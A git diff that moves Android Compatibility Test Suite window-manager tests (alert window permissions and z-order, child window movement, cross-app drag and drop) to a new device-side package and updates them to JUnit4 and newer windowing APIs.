rename to tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/DialogTestActivity.java
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/MovingChildTestActivity.java b/tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/MovingChildTestActivity.java
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/MovingChildTestActivity.java
rename to tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/MovingChildTestActivity.java
diff --git a/tests/app/src/android/app/cts/AlertWindowsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
similarity index 76%
rename from tests/app/src/android/app/cts/AlertWindowsTests.java
rename to tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
index e31c53b..574f25b 100644
--- a/tests/app/src/android/app/cts/AlertWindowsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.app.cts;
+package android.server.wm;
import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE;
import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE_PRE_26;
@@ -23,24 +23,13 @@
import static android.content.Context.BIND_AUTO_CREATE;
import static android.content.Context.BIND_NOT_FOREGROUND;
-import static com.android.app2.AlertWindowService.MSG_ADD_ALERT_WINDOW;
-import static com.android.app2.AlertWindowService.MSG_ON_ALERT_WINDOW_ADDED;
-import static com.android.app2.AlertWindowService.MSG_ON_ALERT_WINDOW_REMOVED;
-import static com.android.app2.AlertWindowService.MSG_REMOVE_ALERT_WINDOW;
-import static com.android.app2.AlertWindowService.MSG_REMOVE_ALL_ALERT_WINDOWS;
-import static com.android.app2.AlertWindowService.NOTIFICATION_MESSENGER_EXTRA;
-
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
import android.app.ActivityManager;
-import android.app.ActivityManager.RunningAppProcessInfo;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
@@ -48,11 +37,11 @@
import android.os.Messenger;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
+import android.server.wm.alertwindowservice.AlertWindowService;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
-import com.android.app2.AlertWindowService;
import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
@@ -61,28 +50,25 @@
import org.junit.runner.RunWith;
import java.util.concurrent.TimeUnit;
-import java.util.function.Function;
+import java.util.function.ToIntFunction;
/**
- * Build: mmma -j32 cts/tests/app
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AlertWindowsTests
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.AlertWindowsImportanceTests
*/
@Presubmit
@RunWith(AndroidJUnit4.class)
-public class AlertWindowsTests {
+public final class AlertWindowsImportanceTests {
private static final String TAG = "AlertWindowsTests";
private static final boolean DEBUG = false;
private static final long WAIT_TIME_MS = 2 * 1000;
- private static final String SDK25_PACKAGE_NAME = "com.android.appSdk25";
+ private static final String SDK25_PACKAGE_NAME = "android.server.wm.alertwindowappsdk25";
private Messenger mService;
private String mServicePackageName;
- private int mServiceUid;
-
- private PackageManager mPm;
private ActivityManager mAm;
private ActivityManager mAm25; // ActivityManager created for an SDK 25 app context.
@@ -96,16 +82,13 @@
if (DEBUG) Log.e(TAG, "setUp");
final Context context = InstrumentationRegistry.getTargetContext();
- mPm = context.getPackageManager();
-
mAm = context.getSystemService(ActivityManager.class);
mAm25 = context.createPackageContext(SDK25_PACKAGE_NAME, 0)
.getSystemService(ActivityManager.class);
- final Intent intent = new Intent();
- intent.setClassName(AlertWindowService.class.getPackage().getName(),
- AlertWindowService.class.getName());
- intent.putExtra(NOTIFICATION_MESSENGER_EXTRA, mMessenger);
+ final Intent intent = new Intent()
+ .setClassName(AlertWindowService.PACKAGE_NAME, AlertWindowService.class.getName())
+ .putExtra(AlertWindowService.EXTRA_MESSENGER, mMessenger);
// Needs to be both BIND_NOT_FOREGROUND and BIND_ALLOW_OOM_MANAGEMENT to avoid the binding
// to this instrumentation test from increasing its importance.
context.bindService(intent, mConnection,
@@ -120,18 +103,18 @@
public void tearDown() throws Exception {
if (DEBUG) Log.e(TAG, "tearDown");
if (mService != null) {
- mService.send(Message.obtain(null, MSG_REMOVE_ALL_ALERT_WINDOWS));
+ mService.send(Message.obtain(null, AlertWindowService.MSG_REMOVE_ALL_ALERT_WINDOWS));
}
final Context context = InstrumentationRegistry.getTargetContext();
context.unbindService(mConnection);
mAm = null;
+ mAm25 = null;
}
@Test
public void testAlertWindowOomAdj() throws Exception {
setAlertWindowPermission(true /* allow */);
-
assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
// TODO AM.getUidImportance() sometimes return a different value from what
@@ -164,7 +147,7 @@
}
private void addAlertWindow() throws Exception {
- mService.send(Message.obtain(null, MSG_ADD_ALERT_WINDOW));
+ mService.send(Message.obtain(null, AlertWindowService.MSG_ADD_ALERT_WINDOW));
synchronized (mAddedLock) {
// Wait for window addition confirmation before proceeding.
mAddedLock.wait(WAIT_TIME_MS);
@@ -172,7 +155,7 @@
}
private void removeAlertWindow() throws Exception {
- mService.send(Message.obtain(null, MSG_REMOVE_ALERT_WINDOW));
+ mService.send(Message.obtain(null, AlertWindowService.MSG_REMOVE_ALERT_WINDOW));
synchronized (mRemoveLock) {
// Wait for window removal confirmation before proceeding.
mRemoveLock.wait(WAIT_TIME_MS);
@@ -185,7 +168,7 @@
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
}
- private void assertImportance(Function<ActivityManager, Integer> apiCaller,
+ private void assertImportance(ToIntFunction<ActivityManager> apiCaller,
int expectedForO, int expectedForPreO) throws Exception {
final long TIMEOUT = SystemClock.uptimeMillis() + TimeUnit.SECONDS.toMillis(30);
int actual;
@@ -195,13 +178,13 @@
// for changes in the uid importance. However, the way it is currently structured
// doesn't really work for this use case right now...
Thread.sleep(500);
- actual = apiCaller.apply(mAm);
+ actual = apiCaller.applyAsInt(mAm);
} while (actual != expectedForO && (SystemClock.uptimeMillis() < TIMEOUT));
assertEquals(expectedForO, actual);
// Check the result for pre-O apps.
- assertEquals(expectedForPreO, (int) apiCaller.apply(mAm25));
+ assertEquals(expectedForPreO, apiCaller.applyAsInt(mAm25));
}
/**
@@ -212,25 +195,12 @@
expectedForO, expectedForPreO);
}
- /**
- * Make sure {@link ActivityManager#getUidImportance(int)} returns the expected value.
- */
- private void assertUidImportance(int expectedForO, int expectedForPreO) throws Exception {
- assertImportance(am -> am.getUidImportance(mServiceUid),
- expectedForO, expectedForPreO);
- }
-
private final ServiceConnection mConnection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
if (DEBUG) Log.e(TAG, "onServiceConnected");
mService = new Messenger(service);
mServicePackageName = name.getPackageName();
- try {
- mServiceUid = mPm.getPackageUid(mServicePackageName, 0);
- } catch (NameNotFoundException e) {
- throw new RuntimeException("getPackageUid() failed.", e);
- }
synchronized (mConnection) {
notifyAll();
}
@@ -241,7 +211,6 @@
if (DEBUG) Log.e(TAG, "onServiceDisconnected");
mService = null;
mServicePackageName = null;
- mServiceUid = 0;
}
};
@@ -254,13 +223,13 @@
@Override
public void handleMessage(Message msg) {
switch (msg.what) {
- case MSG_ON_ALERT_WINDOW_ADDED:
+ case AlertWindowService.MSG_ON_ALERT_WINDOW_ADDED:
synchronized (mAddedLock) {
if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_ADDED");
mAddedLock.notifyAll();
}
break;
- case MSG_ON_ALERT_WINDOW_REMOVED:
+ case AlertWindowService.MSG_ON_ALERT_WINDOW_REMOVED:
synchronized (mRemoveLock) {
if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_REMOVED");
mRemoveLock.notifyAll();
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
similarity index 80%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java
rename to tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
index bfed6d5..c9d1025 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/AlertWindowsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
@@ -14,25 +14,33 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.wm;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
import android.platform.test.annotations.Presubmit;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import android.server.am.ActivityManagerTestBase;
+import android.server.am.WaitForValidActivityState;
+import android.server.am.WindowManagerState;
+
+import org.junit.After;
+import org.junit.Test;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsWindowManagerHostTestCases android.server.cts.AlertWindowsTests
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.AlertWindowsTests
*/
@Presubmit
public class AlertWindowsTests extends ActivityManagerTestBase {
- private static final String PACKAGE_NAME = "android.server.alertwindowapp";
+ private static final String PACKAGE_NAME = "android.server.wm.alertwindowapp";
private static final String ACTIVITY_NAME = "AlertWindowTestActivity";
- private static final String SDK_25_PACKAGE_NAME = "android.server.alertwindowappsdk25";
+ private static final String SDK_25_PACKAGE_NAME = "android.server.wm.alertwindowappsdk25";
private static final String SDK_25_ACTIVITY_NAME = "AlertWindowTestActivitySdk25";
// From WindowManager.java
@@ -62,33 +70,35 @@
TYPE_INPUT_METHOD,
TYPE_NAVIGATION_BAR);
+ @After
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
super.tearDown();
- try {
- setAlertWindowPermission(PACKAGE_NAME, false);
- setAlertWindowPermission(SDK_25_PACKAGE_NAME, false);
- executeShellCommand("am force-stop " + PACKAGE_NAME);
- executeShellCommand("am force-stop " + SDK_25_PACKAGE_NAME);
- } catch (DeviceNotAvailableException e) {
- }
+ setAlertWindowPermission(PACKAGE_NAME, false);
+ setAlertWindowPermission(SDK_25_PACKAGE_NAME, false);
+ executeShellCommand("am force-stop " + PACKAGE_NAME);
+ executeShellCommand("am force-stop " + SDK_25_PACKAGE_NAME);
}
+ @Test
public void testAlertWindowAllowed() throws Exception {
runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, true /* hasAlertWindowPermission */,
true /* atLeastO */);
}
+ @Test
public void testAlertWindowDisallowed() throws Exception {
runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, false /* hasAlertWindowPermission */,
true /* atLeastO */);
}
+ @Test
public void testAlertWindowAllowedSdk25() throws Exception {
runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
true /* hasAlertWindowPermission */, false /* atLeastO */);
}
+ @Test
public void testAlertWindowDisallowedSdk25() throws Exception {
runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
false /* hasAlertWindowPermission */, false /* atLeastO */);
@@ -100,7 +110,7 @@
setAlertWindowPermission(packageName, hasAlertWindowPermission);
executeShellCommand(getAmStartCmd(activityName));
- mAmWmState.computeState(mDevice, new String[] { activityName });
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
mAmWmState.assertVisibility(activityName, true);
assertAlertWindows(packageName, hasAlertWindowPermission, atLeastO);
@@ -131,37 +141,35 @@
assertNotNull(mainAppWindow);
- wMState.sortWindowsByLayer(alertWindows);
final WindowManagerState.WindowState lowestAlertWindow = alertWindows.get(0);
final WindowManagerState.WindowState highestAlertWindow =
alertWindows.get(alertWindows.size() - 1);
// Assert that the alert windows have higher z-order than the main app window
assertTrue("lowestAlertWindow=" + lowestAlertWindow + " less than mainAppWindow="
- + mainAppWindow, lowestAlertWindow.getLayer() > mainAppWindow.getLayer());
+ + mainAppWindow, lowestAlertWindow.getZOrder() > mainAppWindow.getZOrder());
// Assert that legacy alert windows have a lower z-order than the new alert window layer.
final WindowManagerState.WindowState appOverlayWindow =
wMState.getWindowByPackageName(packageName, TYPE_APPLICATION_OVERLAY);
if (appOverlayWindow != null && highestAlertWindow != appOverlayWindow) {
assertTrue("highestAlertWindow=" + highestAlertWindow
- + " greater than appOverlayWindow=" + appOverlayWindow,
- highestAlertWindow.getLayer() < appOverlayWindow.getLayer());
+ + " greater than appOverlayWindow=" + appOverlayWindow,
+ highestAlertWindow.getZOrder() < appOverlayWindow.getZOrder());
}
// Assert that alert windows are below key system windows.
final ArrayList<WindowManagerState.WindowState> systemWindows = new ArrayList();
wMState.getWindowsByPackageName(packageName, mSystemWindowTypes, systemWindows);
if (!systemWindows.isEmpty()) {
- wMState.sortWindowsByLayer(systemWindows);
final WindowManagerState.WindowState lowestSystemWindow = alertWindows.get(0);
assertTrue("highestAlertWindow=" + highestAlertWindow
- + " greater than lowestSystemWindow=" + lowestSystemWindow,
- highestAlertWindow.getLayer() < lowestSystemWindow.getLayer());
+ + " greater than lowestSystemWindow=" + lowestSystemWindow,
+ highestAlertWindow.getZOrder() < lowestSystemWindow.getZOrder());
}
}
- private void setAlertWindowPermission(String packageName, boolean allow) throws Exception {
+ private void setAlertWindowPermission(String packageName, boolean allow) {
executeShellCommand("appops set " + packageName + " android:system_alert_window "
+ (allow ? "allow" : "deny"));
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ChildMovementTests.java
similarity index 81%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java
rename to tests/framework/base/windowmanager/src/android/server/wm/ChildMovementTests.java
index 218fcfe..6ac5035 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ChildMovementTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ChildMovementTests.java
@@ -14,25 +14,23 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.wm;
-import static android.server.cts.StateLogger.logE;
+import static android.server.am.StateLogger.logE;
-import java.util.List;
+import static org.junit.Assert.assertTrue;
+
+import android.server.am.SurfaceTraceReceiver;
+import android.server.am.WaitForValidActivityState;
+import android.server.am.WindowManagerState.WindowState;
+
+import org.junit.Test;
+
import java.util.ArrayList;
-import java.awt.Rectangle;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import android.server.cts.ActivityManagerTestBase;
-import android.server.cts.WindowManagerState.WindowState;
+import java.util.List;
public class ChildMovementTests extends ParentChildTestBase {
+
private List<WindowState> mWindowList = new ArrayList();
@Override
@@ -50,7 +48,7 @@
mAmWmState.getWmState().getMatchingVisibleWindowState(fullWindowName, mWindowList);
return mWindowList.get(0);
} catch (Exception e) {
- CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + fullWindowName);
+ logE("Couldn't find window: " + fullWindowName);
return null;
}
}
@@ -60,17 +58,18 @@
mAmWmState.getWmState().getPrefixMatchingVisibleWindowState(prefix, mWindowList);
return mWindowList.get(0);
} catch (Exception e) {
- CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + prefix);
+ logE("Couldn't find window: " + prefix);
return null;
}
}
void doSingleTest(ParentChildTest t) throws Exception {
String popupName = "ChildWindow";
- final String[] waitForVisible = new String[] { popupName };
+ final WaitForValidActivityState waitForVisible =
+ new WaitForValidActivityState.Builder(popupName).build();
mAmWmState.setUseActivityNamesForWindowNames(false);
- mAmWmState.computeState(mDevice, waitForVisible);
+ mAmWmState.computeState(waitForVisible);
WindowState popup = getSingleWindowByPrefix(popupName);
WindowState parent = getSingleWindow(getBaseWindowName() + activityName());
@@ -105,7 +104,7 @@
return;
}
synchronized (monitor) {
- if (sawChildMove ^ sawMainMove ) {
+ if (sawChildMove ^ sawMainMove) {
monitor.notifyAll();
return;
}
@@ -134,9 +133,10 @@
* Since the Child is static within the window, if we ever see one of
* them move xor the other one we have a problem!
*/
+ @Test
public void testSurfaceMovesWithParent() throws Exception {
doFullscreenTest("MovesWithParent",
- (WindowState parent, WindowState popup) -> {
+ (WindowState parent, WindowState popup) -> {
popupName = popup.getName();
mainName = parent.getName();
installSurfaceObserver(observer);
@@ -149,6 +149,6 @@
assertTrue(testPassed);
removeSurfaceObserver();
}
- });
+ });
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
similarity index 68%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
rename to tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 17ede35..36d81c5 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -14,32 +14,45 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.wm;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityManagerTestBase.executeShellCommand;
+import static android.server.am.StateLogger.log;
-import java.util.HashMap;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.graphics.Point;
+import android.os.RemoteException;
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
import java.util.Map;
import java.util.regex.Pattern;
-public class CrossAppDragAndDropTests extends DeviceTestCase {
- // Constants copied from ActivityManager.StackId. If they are changed there, these must be
- // updated.
- /** ID of stack where fullscreen activities are normally launched into. */
- private static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
-
- /** ID of stack where freeform/resized activities are normally launched into. */
- private static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
-
- /** ID of stack that occupies a dedicated region of the screen. */
- private static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
-
- /** ID of stack that always on top (always visible) when it exists. */
- private static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.CrossAppDragAndDropTests
+ */
+//@Presubmit b/68038788
+public class CrossAppDragAndDropTests {
+ private static final String TAG = "CrossAppDragAndDrop";
private static final String AM_FORCE_STOP = "am force-stop ";
private static final String AM_MOVE_TASK = "am stack move-task ";
@@ -47,7 +60,6 @@
private static final String AM_REMOVE_STACK = "am stack remove ";
private static final String AM_START_N = "am start -n ";
private static final String AM_STACK_LIST = "am stack list";
- private static final String INPUT_MOUSE_SWIPE = "input mouse swipe ";
private static final String TASK_ID_PREFIX = "taskId";
// Regex pattern to match adb shell am stack list output of the form:
@@ -55,11 +67,11 @@
private static final String TASK_REGEX_PATTERN_STRING =
"taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
- private static final int SWIPE_DURATION_MS = 500;
+ private static final int SWIPE_STEPS = 100;
- private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
- private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
- private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
+ private static final String SOURCE_PACKAGE_NAME = "android.server.wm.dndsourceapp";
+ private static final String TARGET_PACKAGE_NAME = "android.server.wm.dndtargetapp";
+ private static final String TARGET_23_PACKAGE_NAME = "android.server.wm.dndtargetappsdk23";
private static final String SOURCE_ACTIVITY_NAME = "DragSource";
@@ -104,7 +116,9 @@
private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
"am supports-split-screen-multi-window";
- private ITestDevice mDevice;
+ protected Context mContext;
+ protected ActivityManager mAm;
+ private UiDevice mDevice;
private Map<String, String> mSourceResults;
private Map<String, String> mTargetResults;
@@ -112,12 +126,20 @@
private String mSourcePackageName;
private String mTargetPackageName;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ private String mSessionId;
+ private String mSourceLogTag;
+ private String mTargetLogTag;
- mDevice = getDevice();
+ @Before
+ public void setUp() throws Exception {
+ // Use uptime in seconds as unique test invocation id.
+ mSessionId = Long.toString(SystemClock.uptimeMillis() / 1000);
+ mSourceLogTag = SOURCE_LOG_TAG + mSessionId;
+ mTargetLogTag = TARGET_LOG_TAG + mSessionId;
+ mContext = InstrumentationRegistry.getContext();
+ mAm = mContext.getSystemService(ActivityManager.class);
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
if (!supportsDragAndDrop()) {
return;
}
@@ -127,31 +149,25 @@
cleanupState();
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
-
+ @After
+ public void tearDown() throws Exception {
if (!supportsDragAndDrop()) {
return;
}
- mDevice.executeShellCommand(AM_FORCE_STOP + mSourcePackageName);
- mDevice.executeShellCommand(AM_FORCE_STOP + mTargetPackageName);
+ executeShellCommand(AM_FORCE_STOP + mSourcePackageName);
+ executeShellCommand(AM_FORCE_STOP + mTargetPackageName);
}
- private String executeShellCommand(String command) throws DeviceNotAvailableException {
- return mDevice.executeShellCommand(command);
- }
-
- private void clearLogs() throws DeviceNotAvailableException {
+ private void clearLogs() {
executeShellCommand("logcat -c");
}
- private String getStartCommand(String componentName, String modeExtra) {
- return AM_START_N + componentName + " -e mode " + modeExtra;
+ private String getStartCommand(String componentName, String modeExtra, String logtag) {
+ return AM_START_N + componentName + " -e mode " + modeExtra + " -e logtag " + logtag;
}
- private String getMoveTaskCommand(int taskId, int stackId) throws Exception {
+ private String getMoveTaskCommand(int taskId, int stackId) {
return AM_MOVE_TASK + taskId + " " + stackId + " true";
}
@@ -174,40 +190,31 @@
executeShellCommand(AM_FORCE_STOP + TARGET_PACKAGE_NAME);
executeShellCommand(AM_FORCE_STOP + TARGET_23_PACKAGE_NAME);
unlockDevice();
-
- // Reinitialize the docked stack to force the window manager to reset its default bounds.
- // See b/29068935.
clearLogs();
- final String componentName = getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME);
- executeShellCommand(getStartCommand(componentName, null) + " --stack " +
- FULLSCREEN_WORKSPACE_STACK_ID);
- final int taskId = getActivityTaskId(componentName);
- // Moving a task from the full screen stack to the docked stack resets
- // WindowManagerService#mDockedStackCreateBounds.
- executeShellCommand(getMoveTaskCommand(taskId, DOCKED_STACK_ID));
- waitForResume(mSourcePackageName, SOURCE_ACTIVITY_NAME);
- executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
// Remove special stacks.
- executeShellCommand(AM_REMOVE_STACK + PINNED_STACK_ID);
- executeShellCommand(AM_REMOVE_STACK + DOCKED_STACK_ID);
- executeShellCommand(AM_REMOVE_STACK + FREEFORM_WORKSPACE_STACK_ID);
+ mAm.removeStacksInWindowingModes(new int[] {
+ WINDOWING_MODE_PINNED,
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY,
+ WINDOWING_MODE_FREEFORM
+ });
}
- private void launchDockedActivity(String packageName, String activityName, String mode)
- throws Exception {
+ private void launchDockedActivity(String packageName, String activityName, String mode,
+ String logtag) throws Exception {
clearLogs();
final String componentName = getComponentName(packageName, activityName);
- executeShellCommand(getStartCommand(componentName, mode) + " --stack " + DOCKED_STACK_ID);
+ executeShellCommand(getStartCommand(componentName, mode, logtag) + " --windowingMode "
+ + WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
waitForResume(packageName, activityName);
}
- private void launchFullscreenActivity(String packageName, String activityName, String mode)
- throws Exception {
+ private void launchFullscreenActivity(String packageName, String activityName, String mode,
+ String logtag) throws Exception {
clearLogs();
final String componentName = getComponentName(packageName, activityName);
- executeShellCommand(getStartCommand(componentName, mode) + " --stack "
- + FULLSCREEN_WORKSPACE_STACK_ID);
+ executeShellCommand(getStartCommand(componentName, mode, logtag) + " --windowingMode "
+ + WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
waitForResume(packageName, activityName);
}
@@ -217,11 +224,11 @@
* {@code false} to launch the app taking up the right half of the display.
*/
private void launchFreeformActivity(String packageName, String activityName, String mode,
- Point displaySize, boolean leftSide) throws Exception{
+ String logtag, Point displaySize, boolean leftSide) throws Exception {
clearLogs();
final String componentName = getComponentName(packageName, activityName);
- executeShellCommand(getStartCommand(componentName, mode) + " --stack "
- + FREEFORM_WORKSPACE_STACK_ID);
+ executeShellCommand(getStartCommand(componentName, mode, logtag) + " --windowingMode "
+ + WINDOWING_MODE_FREEFORM);
waitForResume(packageName, activityName);
Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
@@ -236,7 +243,7 @@
Thread.sleep(500);
String logs = executeShellCommand("logcat -d -b events");
for (String line : logs.split("\\n")) {
- if(line.contains("am_on_resume_called") && line.contains(fullActivityName)) {
+ if (line.contains("am_on_resume_called") && line.contains(fullActivityName)) {
return;
}
}
@@ -245,33 +252,18 @@
throw new Exception(fullActivityName + " has failed to start");
}
- private void injectInput(Point from, Point to, int durationMs) throws Exception {
- executeShellCommand(
- INPUT_MOUSE_SWIPE + from.x + " " + from.y + " " + to.x + " " + to.y + " " +
- durationMs);
+ private void injectInput(Point from, Point to, int steps) throws Exception {
+ mDevice.drag(from.x, from.y, to.x, to.y, steps);
}
- static class Point {
- public int x, y;
-
- public Point(int _x, int _y) {
- x=_x;
- y=_y;
- }
-
- public Point() {}
- }
-
- private String findTaskInfo(String name) throws Exception {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
- final String output = outputReceiver.getOutput();
+ private String findTaskInfo(String name) {
+ final String output = executeShellCommand(AM_STACK_LIST);
final StringBuilder builder = new StringBuilder();
builder.append("Finding task info for task: ");
builder.append(name);
- builder.append("\nParsing adb shell am output: " );
+ builder.append("\nParsing adb shell am output: ");
builder.append(output);
- CLog.i(builder.toString());
+ log(builder.toString());
final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
for (String line : output.split("\\n")) {
final String truncatedLine;
@@ -304,7 +296,7 @@
return false;
}
- private int getActivityTaskId(String name) throws Exception {
+ private int getActivityTaskId(String name) {
final String taskInfo = findTaskInfo(name);
for (String word : taskInfo.split("\\s+")) {
if (word.startsWith(TASK_ID_PREFIX)) {
@@ -336,34 +328,15 @@
point.y = Integer.parseInt(parts[1]);
}
- private void unlockDevice() throws DeviceNotAvailableException {
+ private void unlockDevice() {
// Wake up the device, if necessary.
- executeShellCommand("input keyevent 224");
+ try {
+ mDevice.wakeUp();
+ } catch (RemoteException e) {
+ throw new RuntimeException(e);
+ }
// Unlock the screen.
- executeShellCommand("input keyevent 82");
- }
-
- private Map<String, String> getLogResults(String className, String lastResultKey)
- throws Exception {
- int retryCount = 10;
- Map<String, String> output = new HashMap<String, String>();
- do {
-
- String logs = executeShellCommand("logcat -v brief -d " + className + ":I" + " *:S");
- for (String line : logs.split("\\n")) {
- if (line.startsWith("I/" + className)) {
- String payload = line.split(":")[1].trim();
- final String[] split = payload.split("=");
- if (split.length > 1) {
- output.put(split[0], split[1]);
- }
- }
- }
- if (output.containsKey(lastResultKey)) {
- return output;
- }
- } while (retryCount-- > 0);
- return output;
+ mDevice.pressMenu();
}
private void assertDropResult(String sourceMode, String targetMode, String expectedDropResult)
@@ -378,37 +351,47 @@
}
private void assertDragAndDropResults(String sourceMode, String targetMode,
- String expectedStartDragResult, String expectedDropResult,
- String expectedListenerResults) throws Exception {
+ String expectedStartDragResult, String expectedDropResult,
+ String expectedListenerResults) throws Exception {
if (!supportsDragAndDrop()) {
return;
}
